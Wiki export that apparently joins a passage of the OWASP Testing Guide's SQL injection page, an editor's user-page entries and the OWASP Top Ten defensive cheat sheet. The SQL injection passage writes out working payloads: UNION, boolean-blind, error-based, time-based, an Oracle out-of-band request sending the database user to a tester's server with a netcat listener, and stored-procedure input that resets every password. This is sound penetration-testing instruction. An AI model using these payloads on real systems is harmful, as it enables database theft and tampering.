with all the credit card users. The keyword '''ALL''' is necessary to get
around queries that use the keyword DISTINCT. Moreover, we notice that beyond
the credit card numbers, we have selected other two values. These two values
are necessary, because the two query must have an
equal number of parameters, in order to avoid a syntax error.

The first
information the tester need to exploit the SQL injection vulnerability using
such technique is to find the right numbers of columns in the SELECT statement.

In order to
achieve it the tester can use ORDER BY clause followed by a number indicating
the numeration of database’s column selected:

http://www.example.com/product.php?id=10 ORDER BY 10—

If the query executes with success the tester will see
the tester can assume, in this example, there are 10 or more columns in the
SELECT statement. If the query fails and there is an error message available
probably it would be:

Unknown column '10' in 'order clause'

After the tester find out the numbers of columns, the
next step is to find out the type of columns. Assuming there were 3 columns in
the example above, the tester could try each column type, using the NULL value
to help them:

http://www.example.com/product.php?id=10 UNION SELECT 1,
null, null—

If the query fails, probably the tester will see a
message like:

All cells in a column must have the same datatype

If the query executes with success, the first column
can be an integer. Then the tester can move further and so on:

http://www.example.com/product.php?id=10 UNION SELECT
1,1,null--

After the success exploitation, depending on the
application, it will show to the tester only the first result, because the
application treats only the first line of the result. In this case, it is
possible to use LIMIT like clause or the tester can set an invalid value,
making only the second line valid (supposing there is no entry in the database
which ID is 99999):

http://www.example.com/product.php?id=99999 UNION
SELECT 1,1,null--

=== Boolean Exploitation technique ===

The Boolean exploitation technique is very useful when
the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. For example, this
behavior happens in cases where the programmer has created a custom error page
that does not reveal anything on the structure of the query or on the database.
(The page does not return a SQL error, it may just
return a HTTP 500). 
By using the inference methods, it is possible to avoid this obstacle and thus
to succeed to recover the values of some desired fields. This method consists
of carrying out a series of boolean
queries to the server, observing the answers and finally deducing the meaning
of such answers. We consider, as always, the www.example.com domain and we
suppose that it contains a parameter named id vulnerable to SQL injection. This
means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'
</pre>

we will get one page with a custom message error which
is due to a syntactic error in the query. We suppose that the query executed on
the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

which is exploitable through the methods seen previously.
What we want to obtain is the values of the username field. The tests that we
will execute will allow us to obtain the value of the username field,
extracting such value character by character. This is possible through the use
of some standard functions, present practically in every database. For our
examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': it returns a
substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text,
the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A
null value is returned if char is 0.

'''LENGTH (text)''': it gives back the length in characters of the input
text.

Through such functions, we will execute our tests on
the first character and, when we have discovered the value, we will pass to the
second and so on, until we will have discovered the entire value. The tests
will take advantage of the function SUBSTRING, in order to select only one
character at a time (selecting a single character means to impose the length
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so
that we can do numerical comparison. The results of the comparison will be done
with all the values of the ASCII table, until the right value is found. As an
example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

that creates the following query (from now on, we will
call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if
the first character of the field username is equal to the ASCII value 97. If we
get a false value, then we increase the index of the ASCII table from 97 to 98
and we repeat the request. If instead we obtain a true value, we set to zero
the index of the ASCII table and we analyze the next character, modifying the
parameters of the SUBSTRING function. The problem is to understand in which way
we can distinguish tests returning a true value from those that return false.
To do this, we create a query that always returns false. This is possible by
using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

by which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML
code) will be the false value for our tests. This is enough to verify whether
the value obtained from the execution of the inferential query is equal to the
value obtained with the test executed before. Sometimes, this method does not
work. If the server returns two different pages as a result of two identical
consecutive web requests, we will not be able to discriminate the true value
from the false value. In these particular cases, it is necessary to use
particular filters that allow us to eliminate the code that changes between the
two requests and to obtain a template. Later on, for every inferential request
executed, we will extract the relative template from the response using the
same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the
problem of determining the termination condition for out tests, i.e., when we
should end the inference procedure. A techniques to do
this uses one characteristic of the SUBSTRING function and the LENGTH function.
When the test compares the current character with the ASCII code 0 (i.e., the
value null) and the test returns the value true, then either we are done with
the inference procedue (we have scanned the whole
string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have
analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain
true, then we have completed inference and, therefore, we know the value of the
parameter. If we obtain false, this means that the null character is present in
the value of the parameter, and we must continue to analyze the next parameter
until we find another null value.

The blind SQL injection attack needs a high volume of
queries. The tester may need an automatic tool to exploit the vulnerability.

=== Error based Exploitation technique ===

The Error based
exploitation technique is useful when the tester for some reason can’t exploit
the SQL injection vulnerability using other technique such as UNION. The Error
based technique consists in forcing the database to perform some operation in
which the result will be an error. The point here is to try to extract some
data from the database and show it in the error message. This exploitation
technique can be different from DBMS to DBMS (check DBMS specific session).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g. Oracle 10g):

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the
hostname of the parameter passed to it, which is other query, the name of the
user. When the database looks for a hostname with the user database name, it
will fail and return an error message like:

ORA-292257:
host SCOTT unknown

Then the tester
can manipulate the parameter passed to GET_HOST_NAME()
function and the result will be shown in the error message.

=== Out of band Exploitation technique ===

This technique
is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. The technique consists in
the use of DBMS functions to perform an out of band connection and deliver the
results of the injected query as part of the request to the tester’s server.

Like the error
based techniques, each DBMS has its own functions. Check for specific DBMS
section.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the
query above:

http://www.example.com/product.php?id=10

The malicious request would be:

http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_HTTP.request. This Oracle function will
try to connect to ‘testerserver’ and make a HTTP GET
request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver
(e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1

Host: testerserver.com

Connection: close

=== Time day Exploitation technique ===

The Boolean
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. This technique consists
in sending an injected query and in case the conditional is true, the tester
can monitor the time taken to for the server to respond. If there is a delay,
the tester can assume the result of the conditional query is true. This
exploitation technique can be different from DBMS to DBMS (check DBMS specific
session)

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the
query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g. MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--

In this example
the tester if checking whether the MySql version is
5.x or not, making the server to delay the answer in 5 seconds. The tester can
increase the delay’s time and monitor the responses. The tester also doesn’t
need to wait for the response. Sometimes he can set a very high value (e.g.
100) and cancel the request after some seconds.

=== Stored Procedure Injection ===

When using dynamic SQL within a stored procedure, the application must
properly sanitize the user input to eliminate the risk of code injection. If
not sanitized, the user could enter malicious SQL that will be executed within
the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure user_login @username varchar(20), @passwd varchar(20) As

Declare @sqlstring varchar(250)

Set @sqlstring = ‘

Select 1
from users

Where
username = ‘ + @username + ‘ and passwd
= ‘ + @passwd

exec(@sqlstring)
Go
User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the
return value to show an existing record with these
parameters. 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a
user, but consider a dynamic reporting query where the user selects the columns
to view. The user could insert malicious code into this scenario and compromise
the data. 
Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from
users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being
updated.

=== Automated Exploitation ===

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester
can find information how to perform an automated auditing using SQLMap.

https://www.owasp.org/index.php/Automated_Audit_using_SQLMa

== Related Articles ==

* [[Top 10 2007-Injection Flaws]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:

* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

== References ==

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Tools''' 
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* http://sqlsus.sourceforge.net
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

User:Ismael Rocha

2012-11-21T22:00:02Z

Ismael Rocha:

http://br.linkedin.com/pub/ismael-rocha-goncalves/40/599/258

http://sharingsec.blogspot.com

User:Ismael Rocha

2012-11-21T21:59:16Z

Ismael Rocha:

http://br.linkedin.com/pub/ismael-rocha-goncalves/40/599/258
http://sharingsec.blogspot.com

OWASP Top Ten Cheat Sheet

2012-08-30T01:18:56Z

Ismael Rocha: Add quick reference to OWASP Testing Guide V3.

= Introduction =

The following is a developer-centric defensive cheat sheet for the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.

= OWASP Top Ten Cheat Sheet =

{| border=1
|
||'''Presentation'''
||'''Controller'''
||'''Model'''
||'''Testing (OWASP Testing Guide V3)'''

|-
|'''A1 Injection'''
||

''Render:''
Set a correct content type
Set safe character set (UTF-8)
Set correct locale

''On Submit:''
Enforce input field type and lengths
Validate fields and provide feedback
Ensure option selects and radio contain only sent values
||'''Canonicalize using correct character set'''
'''Positive input validation using correct character set'''

(NR) Negative input validation
(LR) Sanitize input

''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''
||'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''
Object relational model (Hibernate)
Active Record design pattern
Stored procedures

Escape mechanisms such as ESAPI's Encoder.EncodeForLDAP() or Encoder.EncodeforOS()

''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''

||''4.8.5 SQL Injection (OWASP-DV-005)''
''4.8.6 LDAP Injection (OWASP-DV-006)''
''4.8.7 ORM Injection (OWASP-DV-007)''
''4.8.8 XML Injection (OWASP-DV-008)''
''4.8.9 SSI Injection (OWASP-DV-009)''
''4.8.10 XPath Injection (OWASP-DV-010)''
''4.8.11 IMAP/SMTP Injection (OWASP-DV-011)''
''4.8.12 Code Injection (OWASP-DV-012)''
''4.8.13 OS Commanding (OWASP-DV-013)''
''4.8.14 Buffer overflow (OWASP-DV-014)''

|-
|'''A2 XSS'''
||

''Render''
'''Set correct content type'''
'''Set safe character set (UTF-8) '''
'''Set correct locale'''
'''Output encode all user data as per output context'''
'''Set input constraints '''

''On Submit''
Enforce input field type and lengths
Validate fields and provide feedback
Ensure option selects and radio contain only sent values
||'''Canonicalize using correct character set'''
'''Positive input validation using correct character set'''

(NR) Negative input validation
(LR) Sanitize input

''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''

''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''

||''4.8.1 Testing for Reflected Cross Site Scripting (OWASP-DV-001)''
''4.8.2 Testing for Stored Cross Site Scripting (OWASP-DV-002)''
''4.8.3 Testing for DOM based Cross Site Scripting (OWASP-DV-003)''
''4.8.4 Testing for Cross Site Flashing (OWASP-DV004)''

|-
|'''A3 Weak authentication and session management'''
||''Render''
'''Validate user is authenticated'''
'''Validate role is sufficient for this view'''
'''Set "secure" and "HttpOnly" flags for session cookies'''
Send CSRF token with forms

||''Design''
'''Only use inbuilt session management'''
'''Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies'''

'''Validate user is authenticated'''
'''Validate role is sufficient to perform this action'''
Validate CSRF token
||Validate role is sufficient to create, read, update, or delete data

''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''

||''4.4.2 Testing for user enumeration (OWASP-AT-002)''
''4.4.3 Testing for Guessable (Dictionary) User Account (OWASP-AT-003)''
''4.4.4 Brute Force Testing (OWASP-AT-004)''
''4.4.6 Testing for vulnerable remember password and pwd reset (OWASP-AT-006)''
''4.4.5 Testing for bypassing authentication schema (OWASP-AT-005)''
''4.4.7 Testing for Logout and Browser Cache Management (OWASP-AT-007)''
''4.4.8 Testing for CAPTCHA (OWASP-AT-008)''
''4.4.9 Testing Multiple Factors Authentication (OWASP-AT-009)''
''4.4.10 Testing for Race Conditions (OWASP-AT-010)''
''4.5.1 Testing for Session Management Schema (OWASP-SM-001)''
''4.5.2 Testing for Cookies attributes (OWASP-SM-002)''
''4.5.3 Testing for Session Fixation (OWASP-SM_003)''
''4.5.4 Testing for Exposed Session Variables (OWASP-SM-004)''
''4.5.5 Testing for CSRF (OWASP-SM-005)''
''4.6.2 Testing for bypassing authorization schema (OWASP-AZ-002)''
''4.6.3 Testing for Privilege Escalation (OWASP-AZ-003)''

|-
|'''A4 Insecure Direct Object Reference'''
||'''If data is from internal trusted sources, no data is sent'''

''Or''

''Render''
'''Send indirect random access reference map value'''
||'''Obtain data from internal, trusted sources'''

''Or ''

'''Obtain direct value from random access reference access map'''
||Validate role is sufficient to create, read, update, or delete data

||''4.6.1 Testing for Path Traversal (OWASP-AZ-001)''

|-
|'''A5 Cross Site Request Forgery'''
||''Pre-render''
Validate user is authenticated
Validate role is sufficient for this view

''Render''
'''Send CSRF token '''
Set "secure" and "HttpOnly" flags for session cookies
||'''Validate CSRF token'''
Validate role is sufficient to perform this action
Validate role is sufficient

''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''
||Validate role is sufficient to create, read, update, or delete data

||''4.5.5 Testing for CSRF (OWASP-SM-005)''

|-
|'''A6 Security Misconfiguration'''
||Ensure web servers and application servers are hardened

PHP – Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension
||Ensure web servers and application servers are hardened

XML – Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer.
||Ensure database servers are hardened

||''4.2.6 Analysis of Error Codes (OWASP-IG-006)''
''4.3.2 DB Listener Testing (OWASP-CM-002)''
''4.3.3 Infrastructure Configuration Management Testing (OWASP-CM-003)''
''4.3.4 Application Configuration Management Testing (OWASP-CM-004)''
''4.3.5 Testing for File Extensions Handling (OWASP-CM-005)''
''4.3.6 Old, Backup and Unreferenced Files (OWASP-CM-006)''
''4.3.7 Infrastructure and Application Admin Interfaces (OWASP-CM-007)''
''4.3.8 Testing for HTTP Methods and XST (OWASP-CM-008)''

|-
|'''A7 Insufficient Cryptographic Storage'''
||''Design''
'''Use strong ciphers (AES 128 or better)'''
'''Use strong hashes (SHA 256 or better) with salts for passwords'''
'''Protect keys more than any other asset'''

''Render''
Do not send keys or hashes to the browser

||''Design''
'''Use strong ciphers (AES 128 or better)'''
'''Use strong hashes (SHA 256 or better) with salts for passwords'''
'''Protect keys more than any other asset'''

''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''

''Tip: It is best to encrypt data on the application server, rather than the database server.''

||''Design''

''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''

||

|-
|'''A8 Failure to Restrict URL access'''
||''Design''
'''Ensure all non-web data is outside the web root (logs, configuration, etc)'''
'''Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar'''
'''Ensure every page requires a role, even if it is "guest"'''
'' ''
''Pre-render''
'''Validate user is authenticated'''
'''Validate role is sufficient to view secured URL'''

''Render''
'''Send CSRF token '''
||'''Validate user is authenticated'''
'''Validate role is sufficient to perform secured action'''
'''Validate CSRF token'''

''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''

''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''
||Validate role is sufficient to create, read, update, or delete data

||''4.4.5 Testing for bypassing authentication schema (OWASP-AT-005)''
''4.6.1 Testing for Path Traversal (OWASP-AZ-001)''
''4.6.2 Testing for bypassing authorization schema (OWASP-AZ-002)''

|-
|'''A9 Insufficient Transport Layer Protection'''
||Use TLS 1.2 or later for all web communications
Buy extended validation (EV) certificates for public web servers

''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''
||Mandate strong encrypted communications between web and database servers and any other servers or administrative users
||Mandate strong encrypted communications with application servers and any other servers or administrative users

||''4.3.1 SSL/TLS Testing (OWASP-CM-001)''
''4.4.1 Credentials transport over an encrypted channel (OWASP-AT-001)''

|-
|'''A10 Unvalidated Redirects and Forwards'''
||'''Design the app without URL redirection parameters'''

''or''

''Render''
Use random indirect object references for redirection parameters

||'''Design the app without URL redirection parameters'''

''or''

Obtain direct redirection parameter from random indirect reference access map
(LR) Positive validation of redirection parameter
(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms

||Validate role is sufficient to create, read, update, or delete data

||

|-
|}

= Authors and Primary Editors =

Andrew van der Stock vanderaj[at]owasp.org

Ismael Rocha Gonçalves ismaelrg[at]gmail.com

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]